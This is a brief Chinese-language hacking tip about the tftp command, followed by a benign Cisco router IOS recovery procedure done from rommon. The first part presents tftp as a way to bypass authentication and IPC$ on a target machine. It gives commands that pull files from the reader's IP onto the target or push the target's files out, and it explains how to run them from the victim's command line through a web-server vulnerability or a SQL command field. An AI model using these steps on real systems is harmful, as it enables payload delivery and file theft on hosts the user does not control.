tftp，一个功能强大的ftp代替软件，它强大的ftp功能可以绕过主机的用户名和口令验证，绕过IPC$通道，直接COPY我们需要的文件，使用极其方便。
 
一、上传：
格式：tftp -i 现在你的IP get 源文件 盘符：//路径//目标文件名
二、下载：
格式：tftp -i 对方的IP put 盘符：/路径/源文件名
用法和注意点：
1、tftp必须在本机上先运行起来，充当虚拟服务器的角色。
2、tftp在运行中不得断开连接。
3、要上传的文件必须和tftp在一个目录中。
4、文件的默认下载位置就是tftp目录。
5、tftp在上传的格式中，目标地址要用双//格开。
6、可以在任何对方的命令行使用tftp，如：跟在对方IP后的浏览器地址栏里（详细说明请参考U漏洞的贴子）、SQLEXEC的command输入行等等位置。
7、tftp默认属性是上传和下载的时候采用覆盖不提示的方式。
8、tftp上传的文件可能会加上只读属性，请上传完全毕后检阅！
 
恢复IOS的方法：
使用计算机的网卡接口与路由器的0/0口相连
在 rommon 状态下输入：（注意大小写）
rommon 1 >IP_ADDRESS＝192.168.0.1(路由器的ip地址）
rommon 2 >IP_SUBNET_MASK＝255.255.255.0（路由器的掩码）
rommon 3 >DEFAULT_GATEWAY＝192.168.0.2（网关，是pc机的ip地址）
rommon 4 >TFTP_SERVER＝192.168.0.2（是pc机的ip地址）
rommon 5 >TFTP_FILE＝c2600-i-mz.120-7.T.bin（上传IOS文件的名称）
rommon 6 >sync（保存）
rommon 7 >set（查看设置信息）
rommon 8 >tftpdnld（传送文件）出现提示选择y
pc机的设置：
ip地址 192.168.0.2
掩码 255.255.255.0
网关 192.168.0.1（是路由器的ip地址）